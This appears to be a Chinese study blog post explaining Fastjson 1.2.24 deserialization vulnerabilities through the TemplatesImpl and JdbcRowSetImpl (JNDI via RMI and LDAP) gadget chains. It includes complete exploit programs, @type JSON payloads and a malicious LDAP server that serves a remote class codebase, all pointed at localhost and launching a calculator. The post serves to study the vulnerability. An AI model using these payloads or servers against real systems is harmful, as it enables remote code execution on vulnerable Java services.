这篇就不多啰嗦了,直接把我看过的文章简单总结一下
简介
Fastjson 是 Alibaba 开发的 Java 语言编写的高性能 JSON 库,用于将数据在 JSON 和 Java Object 之间互相转换。
基础
序列化(java对象->json):JSON.toJSONString()
反序列化(json->java对象):JSON.parseObject()/JSON.parse()
parse VS parseObject:
parse()返回实际类型的对象
parseObject()返回JSONObject对象
一般情况都用parseObject()
若要还原私有属性,需加Feature.SupportNonPublicField参数
反序列化语句demo(里面参数Object.class):
1 2
| String jsonString ="{\"@type\":\"Student\",\"age\":20,\"name\":\"Assass1n\"}"; Object obj = JSON.parseObject(jsonString, Student.class);
|
fastjson 反序列化漏洞原理
fastjson 在反序列化的时候会找@type中规定的类,然后调用满足下列条件的setter()/getter()
条件:
setter:
- 非静态函数
- 返回类型为void或当前类
- 参数个数为1个
getter:
- 非静态方法
- 无参数
- 返回值类型继承自 Collection 或 Map 或 AtomicBoolean 或 AtomicInteger 或 AtomicLong
关键是要找出一个特殊的在目标环境中已存在的类,满足如下两个条件:
- 该类的构造函数、setter方法、getter方法中的某一个存在危险操作
- 可以控制该漏洞函数的变量(一般就是该类的属性)
总的看不是很难,原理就是反序列化的时候调了setter getter
Fastjson 1.2.24
环境
- jdk8u65
- 1.2.22 <= Fastjson <=1.2.24
依赖:
1 2 3 4 5 6 7
| <dependencies> <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.24</version> </dependency> </dependencies>
|
TemplatesImpl 利用链
这里和CC3很像,但是不需要反射赋值了,直接把恶意的代码放到json里即可
json 开头要接@type
关键点在于找到反序列化类的构造函数,getter,setter有漏洞的可以利用的地方
在学 CC3 的时候,漏洞点在调用了 newInstance(),这里其实是一个 getter() 调用了 newInstance(),但是这个 getter 不满足上面的条件

所以就要继续往上找,找到一个满足条件的 getter(),这里找 getTransletInstance() 的用法时找到了这个调用层次中有 getter()


所以现在的链:
1
| getOutputProperties() -> newTransformer() -> getTransletInstance()
|
所以除了之前CC3中需要赋的值外还需要给 getOutputProperties() 的 outputProperties 赋值,这里先赋为空
payload:
1 2 3 4 5 6 7 8 9
| final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; "{ \"@type\":\"" + NASTY_CLASS + "\", \"_bytecodes\":[\""+evilCode(base64)+"\"], '_name':'Assass1n', '_tfactory':{ }, \"_outputProperties\":{ }, } ";
|
注意:
fastjson在反序列化时,如果Field类型为byte[],将会调用com.alibaba.fastjson.parser.JSONScanner#bytesValue进行base64解码,所以在序列化时也会进行base64编码

EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| package org.assass1n;
import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.Feature; import com.alibaba.fastjson.parser.ParserConfig; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import javassist.ClassPool; import javassist.CtClass;
import java.util.Base64;
public class TemplatesImplPOC { public static String getClassB64() throws Exception{ String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
ClassPool classPool=ClassPool.getDefault(); classPool.appendClassPath(AbstractTranslet); CtClass payload=classPool.makeClass("fastjson1224"); payload.setSuperclass(classPool.get(AbstractTranslet)); payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
byte[] bytes=payload.toBytecode(); String base64Code = Base64.getEncoder().encodeToString(bytes); return base64Code; }
public static void main(String[] args) throws Exception { ParserConfig parserConfig = new ParserConfig(); String js = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\""+getClassB64()+"\"],\"_name\":\"Assass1n\",\"_tfactory\":{ },\"_outputProperties\":{}}"; System.out.println(js); Object obj = JSON.parseObject(js, Object.class, parserConfig, Feature.SupportNonPublicField); } }
|
JdbcRowSetImpl 利用链
这个利用链其实就是 JNDI 注入的形式,一共有下面两种 JNDI + RMI & JNDI + LDAP
JNDI + RMI
分析
JNDI 的部分我没有写博客,可以先看看网上的文章
这里直接附一下 JNDI + RMI 的代码
1 2 3 4 5 6 7 8 9
| import javax.naming.InitialContext;
public class JNDI_RMIClient { public static void main(String[] args) throws Exception{ InitialContext initialContext = new InitialContext(); initialContext.lookup("rmi://localhost:1099/calc"); } }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| import com.sun.jndi.rmi.registry.ReferenceWrapper; import javax.naming.Reference; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry;
public class JNDI_RMIServer { public static void main(String[] args) throws Exception{ Registry registry = LocateRegistry.createRegistry(1099); Reference reference = new Reference("Calc","Calc","http://127.0.0.1:7777"); ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); registry.bind("calc", referenceWrapper); } }
|
这里 JNDI_RMIClient 中 JNDI 注入的代码都是我自己构造的,但是有什么地方真正执行了 lookup() 呢?
于是就有了 JdbcRowSetImpl 利用链
在 JdbcRowSetImpl 中,发现 connect() 调用了 lookup(),这个方法跟前面我们写的 JNDI_RMIClient 有点像,也是 new InitialContext() 然后 lookup(),只不过这里是 InitialContext.lookup(this.getDataSourceName())返回一个数据源对象 DataSource,然后再调用 getConnection() 方法,返回一个 Connection 对象,所以如果这里的 this.getDataSourceName() 可控就可以结合 JNDI 注入了

其实从名字就可以看出这是一个 getter(),跟进之后发现他会返回一个 this.dataSource,也很明显可以看出这个数据源是由下面的 setter() 赋的,而 fastjson 反序列化时正好调用的就是 setter(),这里就可以接上了

现在可以往回找哪里调用了 connect(),找到了下面三个地方,其中比较符合条件的就只有 setAutoCommit(boolean),刚好也是可以通过 fastjson 反序列化来调用的


调用过程:
setAutoCommit(boolean) -> Connect() -> getDataSource() -> setDataSource()
所以整体思路就是:
反序列化时会触发setDataSource(),把我们的dataSourceName传进去,传给了connect()里面调用的lookup(),
接着设置autoCommit,使其触发setAutoCommit()来调用connect()
简单说就是设置dataSourceName属性传参给 lookup(),然后通过设置autoCommit属性来触发最终的 lookup()
payload:
1 2 3
| "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"rmi://localhost:1099/calc\", \"autoCommit\":true}";
|
EXP
这里的 Server 和前面 JNDI 注入的 server 是一样的,就不重复贴了
编译 Calc.java 在当前目录起服务即可
1 2 3 4 5
| public class Calc{ public Calc() throws Exception { Runtime.getRuntime().exec("calc"); } }
|
EXP:
1 2 3 4 5 6 7
| import com.alibaba.fastjson.JSON; public class JdbcRowSetImplExp { public static void main(String[] args) { String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/calc\", \"autoCommit\":true}"; JSON.parse(payload); } }
|
JNDI + LDAP(同理)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99
| import java.net.InetAddress; import java.net.MalformedURLException; import java.net.URL; import javax.net.ServerSocketFactory; import javax.net.SocketFactory; import javax.net.ssl.SSLSocketFactory; import com.unboundid.ldap.listener.InMemoryDirectoryServer; import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; import com.unboundid.ldap.listener.InMemoryListenerConfig; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPException; import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode;
public class jndi_ldap_server { private static final String LDAP_BASE = "dc=example,dc=com";
public static void main (String[] args) {
String url = "http://127.0.0.1:7777/#Calc"; int port = 1234;
try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig( "listen", InetAddress.getByName("0.0.0.0"), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); System.out.println("Listening on 0.0.0.0:" + port); ds.startListening();
} catch ( Exception e ) { e.printStackTrace(); } }
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) { this.codebase = cb; }
@Override public void processSearchResult ( InMemoryInterceptedSearchResult result ) { String base = result.getRequest().getBaseDN(); Entry e = new Entry(base); try { sendResult(result, base, e); } catch ( Exception e1 ) { e1.printStackTrace(); }
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException { URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class")); System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); e.addAttribute("javaClassName", "Exploit"); String cbstring = this.codebase.toString(); int refPos = cbstring.indexOf('#'); if ( refPos > 0 ) { cbstring = cbstring.substring(0, refPos); } e.addAttribute("javaCodeBase", cbstring); e.addAttribute("objectClass", "javaNamingReference"); e.addAttribute("javaFactory", this.codebase.getRef()); result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); }
} }
|
EXP:
1 2 3 4 5 6 7 8 9 10
| import com.alibaba.fastjson.JSON; import javax.naming.InitialContext; import javax.naming.NamingException;
public class EXP { public static void main(String[] args) throws NamingException{ String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1234/Calc\", \"autoCommit\":true}"; JSON.parse(payload); } }
|
参考
JdbcRowSetImpl利用链